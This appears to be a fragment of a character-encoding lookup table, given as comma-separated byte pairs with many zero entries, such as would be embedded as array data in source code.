81,190,192,216,252,187,82,190,196,216,214,194,178,185,178,216,
181,191,0,0,0,0,0,0,0,0,216,216,0,0,233,202,
0,0,0,0,206,216,207,216,208,216,0,0,0,0,215,216,
83,190,214,216,84,190,0,0,253,203,183,180,0,0,212,216,
0,0,197,183,180,179,0,0,0,0,209,216,85,190,0,0,
184,206,211,216,214,176,213,216,86,190,204,216,210,216,217,216,
196,183,205,216,87,190,0,0,0,0,88,190,89,190,0,0,
221,205,90,190,91,190,92,190,171,205,93,190,94,190,0,0,
0,0,220,216,0,0,0,0,224,216,95,190,0,0,96,190,
254,193,0,0,249,206,225,216,97,190,98,190,222,216,0,0,
219,216,99,190,100,190,218,216,223,216,0,0,101,190,102,190,
0,0,103,190,104,190,0,0,0,0,0,0,176,202,105,190,
0,0,180,198,106,190,198,183,107,190,226,216,221,216,108,190,
227,216,0,0,0,0,0,0,251,183,0,0,0,0,0,0,
177,178,0,0,109,190,110,190,235,216,0,0,111,190,0,0,
184,180,0,0,112,190,113,190,114,190,233,216,0,0,0,0,
234,216,169,186,232,216,230,216,229,216,236,216,228,216,238,216,
115,190,116,190,251,178,0,0,0,0,0,0,0,0,117,190,
0,0,0,0,0,0,0,0,0,0,0,0,118,190,119,190,
120,190,121,190,0,0,122,190,123,190,240,216,0,0,126,190,
239,216,124,190,0,0,125,190,0,0,0,0,33,191,34,191,
0,0,35,191,0,0,0,0,168,196,0,0,243,216,0,0,
241,216,231,216,252,183,0,0,242,216,0,0,246,216,245,216,
247,216,244,216,248,216,36,191,0,0,37,191,38,191,0,0,
0,0,39,191,249,216,250,216,234,202,0,0,252,216,251,216,
191,189,0,0,174,192,230,178,252,178,40,191,253,216,41,191,
191,176,0,0,0,0,0,0,204,192,254,216,42,191,195,236,
161,217,225,183,43,191,162,217,44,191,45,191,0,0,0,0,
239,192,46,191,0,0,47,191,163,217,48,191,0,0,0,0,
164,217,186,181,165,217,0,0,166,217,167,217,215,194,0,0,
0,0,0,0,205,184,49,191,0,0,225,204,0,0,50,191,
0,0,188,203,234,189,168,217,51,191,52,191,53,191,0,0,
54,191,240,192,189,238,226,200,0,0,234,188,55,191,205,186,
169,217,0,0,56,191,57,191,58,191,199,194,59,191,167,202,
60,191,0,0,241,194,0,0,61,191,172,217,62,191,0,0,
170,217,0,0,173,217,0,0,0,0,171,217,63,191,0,0,
0,0,0,0,174,217,0,0,0,0,0,0,0,0,64,191,
177,202,65,191,0,0,183,176,0,0,66,191,0,0,0,0,
222,201,0,0,0,0,227,200,67,191,0,0,175,217,68,191,
178,217,181,190,187,181,0,0,176,217,183,217,182,190,0,0,
0,0,0,0,0,0,177,217,196,199,0,0,0,0,69,191,
70,191,71,191,72,191,222,205,179,217,180,217,184,217,234,197,
181,217,179,185,222,192,0,0,0,0,198,217,180,200,0,0,
242,194,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
73,191,0,0,74,191,0,0,0,0,228,200,173,218,0,0,
0,0,0,0,0,0,250,202,0,0,75,191,0,0,241,196,
76,191,77,191,0,0,245,203,78,191,187,217,161,178,234,195,
79,191,80,191,0,0,0,0,196,217,0,0,81,191,180,195,
190,217,197,217,192,217,199,217,195,217,0,0,194,217,239,199,
82,191,188,217,253,178,186,217,241,181,243,194,182,217,83,191,
84,191,185,217,180,185,219,192,85,191,183,190,193,217,210,199,
0,0,0,0,242,181,200,179,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,86,191,0,0,231,179,161,191,
201,217,206,217,0,0,202,217,87,191,253,183,88,191,207,217,
162,187,233,185,0,0,0,0,0,0,0,0,89,191,90,191,
166,189,189,217,0,0,253,187,204,217,91,191,92,191,0,0,
0,0,216,187,205,217,196,176,93,191,94,191,200,217,95,191,
0,0,0,0,96,191,169,196,0,0,97,191,0,0,0,0,
98,191,0,0,99,191,243,181,0,0,0,0,0,0,0,0,
0,0,180,182,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,203,217,167,176,100,191,101,191,195,186,0,0,102,191,
0,0,182,191,0,0,0,0,0,0,0,0,0,0,103,191,
104,191,0,0,0,0,105,191,242,196,0,0,106,191,212,200,
209,217,222,193,0,0,107,191,108,191,109,191,110,191,0,0,
111,191,0,0,0,0,170,194,112,191,113,191,171,187,210,217,
114,191,212,217,208,217,0,0,115,191,116,191,117,191,225,202,
0,0,189,196,118,191,0,0,0,0,119,191,220,193,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,120,191,
121,191,251,202,206,188,224,217,0,0,223,217,122,191,123,191,
248,191,0,0,0,0,124,191,254,183,0,0,125,191,126,191,
217,217,185,190,33,192,0,0,232,198,177,199,34,192,35,192,
0,0,36,192,215,217,0,0,37,192,221,193,38,192,0,0,
0,0,39,192,248,188,220,217,40,192,0,0,184,190,0,0,
214,217,219,217,41,192,0,0,211,199,0,0,42,192,43,192,
213,217,0,0,161,183,44,192,45,192,221,179,0,0,0,0,
46,192,221,217,171,206,206,186,181,195,218,217,47,192,220,192,
48,192,181,185,228,191,230,177,188,193,216,217,197,181,49,192,
50,192,51,192,0,0,0,0,199,183,0,0,207,196,222,217,
0,0,0,0,0,0,0,0,0,0,223,193,0,0,52,192,
225,217,0,0,227,217,53,192,0,0,183,194,233,217,54,192,
228,217,0,0,55,192,230,217,0,0,0,0,0,0,0,0,
56,192,193,201,243,196,57,192,231,217,58,192,59,192,60,192,
172,205,0,0,0,0,0,0,200,205,185,180,61,192,0,0,
0,0,0,0,62,192,174,176,0,0,229,217,0,0,63,192,
0,0,0,0,0,0,226,217,64,192,0,0,65,192,0,0,
248,180,0,0,0,0,0,0,66,192,67,192,231,177,68,192,
232,217,0,0,69,192,70,192,201,205,0,0,0,0,0,0,
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236,217,0,0,0,0,71,192,72,192,0,0,0,0,187,194,
0,0,243,217,73,192,0,0,74,192,237,217,75,192,0,0,
234,217,241,217,76,192,0,0,0,0,0,0,211,217,0,0,
77,192,0,0,78,192,0,0,79,192,0,0,80,192,81,192,
238,217,0,0,242,217,82,192,83,192,0,0,194,200,235,197,
0,0,84,192,85,192,0,0,0,0,0,0,235,217,86,192,
239,217,0,0,0,0,0,0,200,183,0,0,0,0,87,192,
241,186,88,192,0,0,0,0,221,192,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,89,192,0,0,0,0,
247,217,90,192,0,0,91,192,92,192,93,192,94,192,0,0,
0,0,0,0,166,197,0,0,95,192,96,192,97,192,98,192,
0,0,99,192,100,192,101,192,0,0,102,192,0,0,0,0,
0,0,244,217,0,0,224,203,0,0,0,0,0,0,103,192,
0,0,245,217,0,0,0,0,0,0,104,192,105,192,0,0,
246,217,0,0,206,204,0,0,162,192,106,192,0,0,107,192,
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0,0,109,192,253,217,0,0,0,0,0,0,0,0,0,0,
0,0,110,192,111,192,112,192,181,187,250,217,0,0,249,217,
0,0,0,0,113,192,114,192,178,199,115,192,0,0,116,192,
181,198,117,192,0,0,118,192,0,0,119,192,177,197,251,217,
120,192,0,0,121,192,252,217,0,0,239,201,122,192,197,199,
163,187,0,0,241,192,0,0,208,203,123,192,0,0,0,0,
0,0,0,0,0,0,201,179,0,0,165,218,254,217,124,192,
125,192,126,192,0,0,202,205,167,218,0,0,33,193,163,218,
0,0,164,218,0,0,34,193,35,193,36,193,37,193,224,193,
38,193,0,0,39,193,40,193,162,218,0,0,191,217,41,193,
0,0,42,193,166,218,0,0,161,218,0,0,0,0,0,0,
0,0,0,0,171,218,172,218,167,197,174,218,43,193,44,193,
164,187,169,218,0,0,45,193,46,193,0,0,188,181,47,193,
0,0,175,218,48,193,168,218,179,218,0,0,178,218,49,193,
177,218,50,193,0,0,0,0,180,218,51,193,0,0,182,218,
241,190,52,193,181,218,53,193,0,0,0,0,54,193,185,218,
0,0,0,0,55,193,56,193,57,193,0,0,0,0,0,0,
0,0,58,193,0,0,0,0,0,0,59,193,60,193,0,0,
61,193,0,0,183,218,62,193,0,0,63,193,184,218,240,217,
64,193,65,193,0,0,0,0,66,193,187,218,186,218,0,0,
67,193,0,0,0,0,68,193,248,217,188,218,176,218,0,0,
69,193,217,187,0,0,70,193,0,0,0,0,189,218,190,218,
192,218,191,218,193,218,254,178,71,193,182,185,72,193,73,193,
252,202,175,192,0,0,0,0,0,0,74,193,0,0,206,184,
0,0,75,193,195,218,76,193,0,0,0,0,0,0,198,218,
0,0,210,201,77,193,223,181,78,193,0,0,79,193,197,218,
196,218,212,199,199,218,181,182,0,0,0,0,0,0,201,218,
200,218,80,193,81,193,0,0,186,180,182,187,0,0,0,0,
216,198,82,193,0,0,0,0,0,0,83,193,201,183,0,0,
0,0,0,0,244,191,0,0,202,218,0,0,176,192,168,197,
0,0,223,201,203,218,0,0,84,193,0,0,0,0,85,193,
0,0,0,0,0,0,86,193,204,218,205,218,0,0,87,193,
0,0,184,202,221,213,198,192,88,193,0,0,204,201,0,0,
216,186,0,0,229,200,195,200,89,193,0,0,0,0,90,193,
0,0,205,197,91,193,193,206,0,0,207,218,208,188,92,193,
0,0,208,218,93,193,182,176,0,0,94,193,212,182,205,192,
95,193,224,201,0,0,0,0,0,0,209,218,194,187,199,195,
96,193,219,187,183,191,0,0,97,193,98,193,99,193,0,0,
0,0,210,218,0,0,253,202,0,0,0,0,247,177,220,187,
0,0,100,193,0,0,213,218,101,193,211,218,214,218,185,206,
212,218,0,0,102,193,103,193,0,0,251,192,215,218,0,0,
104,193,178,194,105,193,0,0,216,218,0,0,106,193,0,0,
107,193,250,180,108,193,218,218,0,0,217,218,0,0,0,0,
0,0,109,193,219,218,220,218,251,180,0,0,0,0,252,198,
182,195,236,181,221,187,225,193,0,0,0,0,220,189,176,176,
0,0,0,0,110,193,221,218,111,193,0,0,112,193,113,193,
0,0,0,0,0,0,114,193,162,178,225,218,0,0,0,0,
115,193,116,193,117,193,0,0,183,185,224,218,118,193,0,0,
171,186,186,190,119,193,120,193,223,218,0,0,187,190,121,193,
192,204,170,186,0,0,122,193,123,193,215,176,206,192,124,193,
125,193,0,0,0,0,0,0,0,0,0,0,230,218,126,193,
33,194,177,192,199,177,34,194,35,194,36,194,37,194,213,189,
38,194,230,203,242,186,39,194,40,194,41,194,42,194,188,190,
43,194,167,192,44,194,45,194,0,0,46,194,229,218,227,218,
228,218,48,194,0,0,47,194,0,0,0,0,235,195,0,0,
0,0,166,219,49,194,234,218,254,187,184,185,232,218,50,194,
51,194,0,0,0,0,233,218,52,194,184,191,53,194,0,0,
55,194,231,218,0,0,54,194,175,187,0,0,0,0,0,0,
0,0,56,194,57,194,58,194,0,0,59,194,60,194,236,218,
235,218,240,218,61,194,62,194,241,218,0,0,237,218,0,0,
162,179,238,218,239,218,213,200,64,194,65,194,66,194,0,0,
225,201,202,183,242,218,0,0,0,0,68,194,178,192,69,194,
189,190,71,194,72,194,73,194,210,195,74,194,76,194,0,0,
67,194,70,194,75,194,199,182,0,0,243,218,247,218,0,0,
0,0,203,178,244,218,246,218,0,0,77,194,78,194,79,194,
245,218,0,0,80,194,235,189,81,194,0,0,0,0,0,0,
200,195,197,176,248,218,82,194,83,194,84,194,85,194,249,218,
0,0,86,194,87,194,0,0,170,196,0,0,88,194,0,0,
241,206,0,0,0,0,0,0,0,0,195,187,0,0,89,194,
235,202,0,0,0,0,90,194,91,194,0,0,189,203,92,194,
0,0,0,0,162,219,251,218,0,0,93,194,254,218,0,0,
253,218,94,194,95,194,250,218,96,194,97,194,161,219,0,0,
0,0,222,198,98,194,252,218,0,0,0,0,99,194,0,0,
100,194,101,194,0,0,0,0,0,0,0,0,102,194,0,0,
163,219,0,0,0,0,236,189,164,219,103,194,203,205,248,199,
0,0,104,194,165,219,0,0,0,0,0,0,0,0,0,0,
167,219,0,0,105,194,168,219,0,0,106,194,107,194,0,0,
108,194,0,0,169,219,0,0,202,182,200,177,185,185,170,219,
0,0,171,219,241,189,226,193,109,194,63,194,216,210,190,193,
189,193,216,194,199,186,0,0,0,0,242,208,0,0,110,194,
0,0,111,194,238,183,173,205,0,0,254,202,0,0,254,201,
112,194,172,219,0,0,0,0,0,0,113,194,243,186,191,196,
173,219,175,207,0,0,114,194,0,0,190,203,115,194,171,196,
174,219,252,180,116,194,0,0,117,194,0,0,0,0,0,0,
175,219,176,219,218,204,0,0,164,204,246,203,220,203,165,187,
178,219,0,0,0,0,235,188,0,0,118,194,209,203,0,0,
180,219,183,219,182,219,0,0,249,180,0,0,0,0,224,181,
119,194,179,219,0,0,181,219,0,0,0,0,0,0,120,194,
184,219,121,194,122,194,249,191,0,0,0,0,123,194,0,0,
251,205,201,176,224,186,188,194,0,0,221,188,124,194,125,194,
243,190,0,0,0,0,187,219,0,0,0,0,206,197,126,194,
185,219,171,194,186,219,242,190,221,204,188,219,189,219,232,205,
33,195,0,0,0,0,0,0,194,219,0,0,34,195,186,185,
35,195,213,199,191,219,236,197,222,218,226,218,36,195,207,181,
37,195,199,199,0,0,0,0,0,0,38,195,193,219,0,0,
190,190,196,200,0,0,39,195,0,0,0,0,40,195,199,219,
0,0,250,200,0,0,190,219,0,0,196,219,195,219,0,0,
41,195,42,195,207,192,43,195,0,0,44,195,0,0,237,203,
45,195,211,206,46,195,47,195,231,203,48,195,204,178,222,187,
0,0,0,0,200,207,198,219,245,191,0,0,0,0,0,0,
197,219,0,0,0,0,192,219,0,0,0,0,0,0,0,0,
0,0,207,184,49,195,50,195,51,195,204,219,202,219,52,195,
205,178,200,219,206,219,212,219,0,0,53,195,54,195,55,195,
0,0,0,0,57,195,200,194,58,195,59,195,193,202,60,195,
214,219,0,0,61,195,62,195,162,201,0,0,0,0,0,0,
213,219,240,199,191,203,187,180,63,195,247,192,192,189,0,0,
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208,219,0,0,0,0,67,195,210,219,0,0,207,219,0,0,
68,195,215,219,0,0,205,219,0,0,0,0,203,219,0,0,
211,219,201,219,69,195,236,195,70,195,248,204,198,188,244,186,
71,195,72,195,0,0,56,195,0,0,186,186,0,0,0,0,
239,203,193,179,0,0,0,0,206,196,202,198,201,177,0,0,
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180,192,170,183,0,0,75,195,0,0,0,0,0,0,76,195,
217,219,77,195,0,0,187,185,252,179,0,0,0,0,0,0,
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0,0,0,0,203,179,172,186,0,0,86,195,202,179,207,186,
0,0,87,195,220,219,229,183,203,183,237,197,88,195,89,195,
218,219,0,0,198,176,0,0,90,195,0,0,91,195,221,219,
223,219,0,0,205,182,172,183,73,195,188,180,203,181,92,195,
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0,0,176,201,0,0,0,0,0,0,96,195,0,0,0,0,
97,195,98,195,99,195,100,195,101,195,0,0,239,219,102,195,
179,178,228,219,0,0,103,195,104,195,105,195,106,195,0,0,
245,219,229,219,0,0,194,206,107,195,236,219,108,195,223,199,
109,195,0,0,110,195,0,0,0,0,0,0,0,0,244,219,
0,0,231,219,0,0,0,0,0,0,180,176,233,219,0,0,
111,195,188,185,112,195,0,0,113,195,235,219,114,195,234,219,
0,0,230,219,241,219,115,195,191,190,116,195,0,0,117,195,
237,212,232,184,252,205,118,195,119,195,0,0,0,0,232,219,
120,195,244,196,163,179,173,186,121,195,224,219,0,0,240,219,
225,179,0,0,0,0,238,219,242,219,122,195,238,197,0,0,
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178,220,0,0,124,195,201,204,247,219,253,180,125,195,254,219,
0,0,126,195,33,196,34,196,192,203,35,196,161,220,163,220,
36,196,167,220,249,219,37,196,170,195,0,0,38,196,39,196,
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0,0,162,220,41,196,0,0,42,196,43,196,44,196,45,196,
185,191,172,220,46,196,47,196,179,192,0,0,0,0,48,196,
49,196,0,0,0,0,170,220,189,180,50,196,51,196,52,196,
0,0,0,0,208,207,246,219,0,0,0,0,166,220,216,176,
53,196,0,0,248,219,54,196,55,196,186,204,253,219,162,191,
199,196,243,219,56,196,57,196,165,220,58,196,0,0,0,0,
59,196,60,196,0,0,250,191,175,220,241,179,161,184,0,0,
0,0,0,0,0,0,177,220,250,219,176,220,0,0,169,220,
251,219,0,0,173,220,0,0,174,220,0,0,0,0,0,0,
0,0,0,0,191,220,61,196,0,0,62,196,206,198,63,196,
164,220,0,0,64,196,187,220,0,0,65,196,0,0,189,220,
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0,0,0,0,0,0,68,196,204,205,0,0,0,0,0,0,
69,196,0,0,0,0,0,0,0,0,246,201,184,220,202,194,
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193,220,0,0,239,198,192,220,234,198,72,196,73,196,74,196,
75,196,0,0,76,196,77,196,196,220,183,220,78,196,200,182,
186,220,221,189,79,196,80,196,81,196,224,199,188,220,203,182,
0,0,180,220,182,220,179,220,82,196,83,196,176,207,218,179,
185,220,84,196,85,196,195,220,181,179,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,231,186,0,0,0,0,86,196,
221,177,0,0,0,0,212,220,87,196,0,0,177,207,215,220,
88,196,0,0,89,196,0,0,0,0,186,191,214,220,0,0,
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92,196,210,220,93,196,0,0,0,0,94,196,0,0,95,196,
198,220,96,196,0,0,227,220,197,220,0,0,216,220,0,0,
0,0,97,196,98,196,0,0,99,196,208,220,100,196,0,0,
203,220,200,220,0,0,201,220,0,0,209,220,0,0,101,196,
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204,220,0,0,199,220,103,196,0,0,202,220,0,0,0,0,
104,196,105,196,205,205,234,203,0,0,0,0,0,0,207,220,
217,220,0,0,0,0,0,0,106,196,0,0,0,0,107,196,
0,0,225,220,218,220,0,0,0,0,231,220,0,0,229,220,
108,196,109,196,0,0,110,196,224,220,111,196,0,0,112,196,
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113,196,221,220,114,196,115,196,219,220,116,196,0,0,226,220,
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0,0,117,196,0,0,118,196,233,220,236,220,230,220,119,196,
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228,220,192,190,122,196,207,204,248,220,235,220,123,196,0,0,
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33,198,199,221,200,221,0,0,34,198,202,221,201,221,35,198,
216,203,0,0,0,0,222,189,236,188,196,187,0,0,203,221,
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163,191,36,198,204,221,0,0,0,0,37,198,0,0,0,0,
206,221,38,198,39,198,0,0,40,198,41,198,207,221,0,0,
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46,198,210,221,47,198,212,221,211,221,213,221,165,178,202,195,
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232,203,0,0,0,0,0,0,199,198,218,221,230,200,0,0,
56,198,0,0,251,200,0,0,57,198,211,204,0,0,0,0,
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72,198,225,187,73,198,177,204,74,198,226,221,227,221,0,0,
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84,198,185,201,202,177,0,0,85,198,86,198,0,0,0,0,
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198,200,91,198,174,188,0,0,92,198,0,0,93,198,232,221,
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101,198,0,0,102,198,103,198,232,183,104,198,0,0,165,181,
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106,198,107,198,192,196,108,198,0,0,0,0,217,198,236,221,
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252,221,0,0,115,198,253,221,116,198,207,178,117,198,0,0,
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119,198,0,0,0,0,244,192,241,199,0,0,231,200,120,198,
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51,199,52,199,53,199,204,177,191,185,169,222,0,0,0,0,
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201,199,60,199,0,0,174,206,0,0,0,0,244,190,245,192,
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192,222,0,0,198,222,97,199,205,222,252,176,195,222,0,0,
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101,199,174,186,0,0,187,222,201,222,186,197,102,199,0,0,
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105,199,219,222,244,181,207,197,106,199,214,222,223,222,175,176,
178,177,107,199,0,0,185,178,0,0,216,222,172,194,207,222,
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222,222,118,199,0,0,119,199,120,199,121,199,122,199,0,0,
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126,199,212,222,0,0,0,0,33,200,34,200,0,0,0,0,
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208,222,242,197,0,0,0,0,211,222,36,200,0,0,0,0,
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209,207,190,188,254,203,0,0,227,222,0,0,0,0,0,0,
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207,205,231,222,0,0,0,0,174,197,48,200,0,0,233,222,
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57,200,58,200,0,0,234,179,0,0,232,222,237,222,238,222,
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218,194,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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61,200,252,222,0,0,0,0,250,222,0,0,169,197,0,0,
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248,222,224,222,0,0,249,181,186,201,0,0,65,200,0,0,
191,188,0,0,66,200,247,185,67,200,0,0,68,200,69,200,
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70,200,0,0,71,200,0,0,72,200,73,200,0,0,0,0,
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74,200,0,0,0,0,75,200,76,200,161,204,210,196,83,200,
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161,223,249,222,0,0,243,222,0,0,0,0,0,0,195,180,
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92,200,227,179,0,0,93,200,94,200,0,0,225,189,0,0,
179,223,0,0,95,200,0,0,0,0,0,0,96,200,172,223,
172,196,169,223,217,196,0,0,0,0,0,0,204,223,0,0,
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98,200,0,0,168,223,167,223,173,223,99,200,161,192,0,0,
164,223,100,200,101,200,0,0,0,0,102,200,103,200,104,200,
176,223,0,0,105,200,177,223,106,200,107,200,108,200,0,0,
109,200,194,180,0,0,0,0,110,200,0,0,0,0,0,0,
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121,200,0,0,0,0,184,223,0,0,0,0,122,200,0,0,
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34,201,187,223,234,185,168,199,0,0,0,0,185,222,0,0,
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233,239,0,0,0,0,39,201,197,223,0,0,40,201,41,201,
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212,198,207,223,48,201,0,0,0,0,49,201,0,0,0,0,
245,195,237,194,0,0,0,0,0,0,0,0,165,192,0,0,
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64,201,0,0,0,0,0,0,0,0,212,223,66,201,67,201,
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72,201,0,0,0,0,73,201,0,0,0,0,0,0,74,201,
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234,177,0,0,0,0,0,0,214,223,0,0,76,201,77,201,
78,201,79,201,80,201,213,223,0,0,81,201,0,0,0,0,
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220,223,215,223,84,201,85,201,0,0,219,223,86,201,0,0,
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101,201,102,201,0,0,225,223,0,0,103,201,104,201,0,0,
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106,201,0,0,107,201,181,204,0,0,0,0,0,0,0,0,
199,190,0,0,0,0,0,0,0,0,108,201,0,0,109,201,
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116,201,117,201,0,0,251,206,118,201,119,201,234,223,0,0,
249,192,0,0,120,201,0,0,121,201,0,0,0,0,230,223,
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232,223,200,190,33,202,209,200,0,0,0,0,236,223,0,0,
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0,0,237,223,0,0,0,0,39,202,0,0,208,205,240,223,
0,0,0,0,0,0,166,244,40,202,41,202,0,0,0,0,
0,0,207,189,42,202,0,0,43,202,0,0,0,0,0,0,
0,0,0,0,241,223,0,0,0,0,0,0,242,223,0,0,
0,0,44,202,45,202,174,199,46,202,47,202,0,0,0,0,
0,0,0,0,0,0,244,223,48,202,0,0,0,0,0,0,
245,223,49,202,50,202,51,202,0,0,179,199,52,202,0,0,
0,0,0,0,245,197,247,223,0,0,53,202,54,202,0,0,
249,223,0,0,213,206,0,0,246,223,55,202,248,223,237,177,
56,202,243,223,0,0,57,202,58,202,0,0,59,202,0,0,
0,0,219,211,250,223,0,0,0,0,0,0,0,0,231,193,
184,187,252,223,0,0,0,0,0,0,0,0,251,223,164,191,
217,210,0,0,0,0,0,0,0,0,0,0,0,0,253,223,
0,0,0,0,60,202,161,224,0,0,238,223,254,223,0,0,
61,202,162,224,62,202,0,0,0,0,0,0,0,0,0,0,
250,199,63,202,64,202,65,202,0,0,0,0,0,0,163,224,
0,0,0,0,164,224,0,0,0,0,66,202,0,0,0,0,
0,0,67,202,0,0,0,0,68,202,165,224,0,0,69,202,
0,0,70,202,0,0,0,0,0,0,0,0,71,202,0,0,
0,0,0,0,166,224,0,0,222,196,72,202,168,224,167,224,
0,0,73,202,169,224,0,0,170,224,0,0,74,202,223,188,
227,201,0,0,75,202,76,202,236,204,171,224,172,224,214,193,
164,188,173,224,174,224,77,202,78,202,79,202,0,0,80,202,
175,224,210,202,199,200,0,0,0,0,176,224,215,199,0,0,
81,202,82,202,83,202,0,0,173,196,84,202,0,0,85,202,
86,202,0,0,177,224,231,178,87,202,237,181,88,202,198,204,
89,202,182,204,90,202,180,178,180,207,91,202,0,0,0,0,
0,0,210,203,92,202,170,202,0,0,93,202,0,0,0,0,
94,202,95,202,0,0,96,202,183,192,0,0,178,224,0,0,
0,0,97,202,98,202,195,198,0,0,99,202,100,202,163,184,
179,224,101,202,212,186,181,224,180,224,0,0,102,202,0,0,
0,0,182,224,0,0,103,202,0,0,0,0,0,0,104,202,
105,202,0,0,0,0,0,0,183,224,106,202,0,0,0,0,
184,224,0,0,0,0,0,0,0,0,107,202,0,0,0,0,
0,0,0,0,190,181,0,0,185,224,0,0,0,0,0,0,
0,0,186,224,108,202,0,0,0,0,0,0,164,184,109,202,
110,202,200,200,0,0,111,202,188,224,0,0,112,202,0,0,
245,190,0,0,0,0,187,224,0,0,0,0,0,0,0,0,
113,202,0,0,0,0,114,202,184,182,189,224,191,224,0,0,
190,224,115,202,0,0,116,202,0,0,0,0,117,202,0,0,
192,224,0,0,209,184,0,0,193,224,0,0,0,0,118,202,
119,202,233,182,120,202,192,193,0,0,253,185,0,0,0,0,
0,0,121,202,195,224,196,224,194,224,0,0,0,0,122,202,
0,0,0,0,0,0,237,188,0,0,0,0,200,198,185,182,
0,0,0,0,0,0,0,0,0,0,123,202,124,202,0,0,
0,0,198,224,172,195,197,224,125,202,126,202,181,207,226,199,
33,203,0,0,0,0,0,0,34,203,0,0,35,203,36,203,
0,0,37,203,0,0,0,0,201,224,38,203,0,0,39,203,
0,0,0,0,0,0,0,0,40,203,41,203,0,0,0,0,
203,224,200,224,42,203,43,203,0,0,212,204,202,224,204,224,
44,203,196,206,0,0,0,0,45,203,0,0,46,203,208,224,
0,0,47,203,48,203,207,224,246,195,173,199,49,203,0,0,
165,184,206,224,0,0,50,203,51,203,0,0,205,224,52,203,
177,205,178,205,0,0,0,0,53,203,54,203,0,0,55,203,
209,224,238,177,0,0,0,0,0,0,56,203,246,185,226,187,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,57,203,
210,224,211,224,58,203,0,0,59,203,0,0,0,0,0,0,
60,203,213,224,61,203,0,0,0,0,0,0,0,0,62,203,
63,203,64,203,65,203,0,0,0,0,195,189,0,0,0,0,
66,203,67,203,215,224,68,203,214,224,69,203,70,203,0,0,
71,203,72,203,216,224,73,203,205,179,0,0,0,0,218,224,
0,0,74,203,217,224,75,203,220,224,219,224,76,203,0,0,
0,0,0,0,77,203,78,203,0,0,79,203,188,184,80,203,
81,203,168,206,0,0,204,182,0,0,166,178,0,0,0,0,
82,203,0,0,83,203,0,0,0,0,84,203,0,0,85,203,
234,182,86,203,87,203,0,0,0,0,0,0,88,203,0,0,
89,203,90,203,91,203,0,0,92,203,0,0,0,0,93,203,
94,203,0,0,0,0,225,180,95,203,96,203,0,0,97,203,
0,0,0,0,0,0,0,0,232,206,222,224,0,0,98,203,
0,0,99,203,0,0,100,203,0,0,224,224,101,203,102,203,
0,0,103,203,225,224,0,0,209,178,0,0,0,0,104,203,
105,203,0,0,221,224,106,203,185,187,107,203,108,203,193,196,
223,224,109,203,0,0,0,0,110,203,111,203,0,0,0,0,
112,203,0,0,0,0,113,203,0,0,0,0,0,0,114,203,
228,224,0,0,238,188,115,203,0,0,116,203,0,0,226,224,
117,203,118,203,0,0,119,203,190,183,0,0,0,0,201,200,
227,224,0,0,0,0,254,224,0,0,0,0,120,203,121,203,
0,0,122,203,233,224,123,203,124,203,125,203,0,0,126,203,
189,184,33,204,34,204,35,204,0,0,229,181,36,204,230,224,
253,205,37,204,0,0,176,206,38,204,0,0,0,0,0,0,
0,0,0,0,0,0,39,204,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,40,204,41,204,0,0,0,0,
0,0,0,0,0,0,0,0,246,194,0,0,42,204,232,224,
43,204,0,0,44,204,45,204,46,204,47,204,48,204,49,204,
50,204,51,204,52,204,53,204,234,224,214,206,215,182,252,200,
202,199,0,0,0,0,54,204,235,224,0,0,0,0,0,0,
0,0,237,224,55,204,240,224,0,0,56,204,57,204,0,0,
58,204,59,204,0,0,0,0,0,0,60,204,0,0,61,204,
0,0,0,0,0,0,62,204,63,204,0,0,0,0,236,224,
0,0,64,204,0,0,239,224,234,184,205,177,241,224,65,204,
240,191,238,224,220,206,0,0,66,204,244,224,164,244,0,0,
67,204,68,204,69,204,242,224,245,224,70,204,0,0,71,204,
72,204,231,224,243,224,73,204,74,204,188,186,0,0,0,0,
246,224,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
247,224,0,0,75,204,76,204,0,0,254,205,0,0,77,204,
78,204,79,204,0,0,80,204,0,0,248,224,0,0,0,0,
0,0,81,204,82,204,83,204,84,204,0,0,0,0,0,0,
0,0,0,0,85,204,86,204,87,204,0,0,88,204,0,0,
249,224,89,204,90,204,91,204,229,224,92,204,0,0,0,0,
93,204,250,224,94,204,95,204,96,204,97,204,0,0,0,0,
98,204,99,204,196,180,100,204,101,204,0,0,0,0,102,204,
0,0,0,0,0,0,103,204,0,0,104,204,0,0,165,188,
0,0,105,204,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,106,204,107,204,251,224,0,0,108,204,0,0,
0,0,252,224,109,204,0,0,0,0,110,204,253,224,0,0,
0,0,0,0,111,204,0,0,112,204,113,204,187,177,0,0,
114,204,115,204,161,225,0,0,187,201,162,225,116,204,0,0,
164,180,163,225,117,204,164,225,118,204,119,204,0,0,0,0,
165,225,120,204,167,225,168,225,166,225,0,0,121,204,0,0,
211,201,170,225,169,225,0,0,122,204,123,204,124,204,0,0,
0,0,125,204,0,0,0,0,0,0,172,225,171,225,173,225,
126,204,0,0,0,0,0,0,0,0,0,0,174,225,176,225,
175,225,0,0,0,0,249,185,33,205,178,225,0,0,177,225,
34,205,35,205,197,180,0,0,211,191,0,0,188,197,0,0,
179,225,184,192,36,205,37,205,0,0,186,187,38,205,249,177,
180,225,39,205,209,205,40,205,41,205,227,202,181,225,0,0,
0,0,42,205,196,197,179,205,195,185,189,191,0,0,0,0,
43,205,203,195,180,210,44,205,174,196,232,178,182,225,45,205,
46,205,47,205,48,205,0,0,0,0,49,205,183,225,0,0,
188,225,50,205,51,205,186,225,185,225,194,218,166,179,184,225,
52,205,218,176,53,205,170,200,54,205,0,0,202,200,0,0,
0,0,55,205,0,0,177,206,189,225,187,225,220,195,166,192,
56,205,57,205,171,200,58,205,173,201,0,0,191,225,172,206,
205,183,192,225,0,0,190,225,214,200,193,225,0,0,194,225,
0,0,59,205,219,176,60,205,0,0,246,190,199,225,0,0,
196,225,237,198,195,225,61,205,62,205,63,205,64,205,65,205,
66,205,166,181,0,0,67,205,202,225,0,0,0,0,68,205,
197,225,198,225,0,0,201,225,200,225,165,201,0,0,0,0,
194,193,193,193,69,205,191,181,70,205,71,205,203,225,72,205,
0,0,0,0,0,0,73,205,204,225,0,0,74,205,205,225,
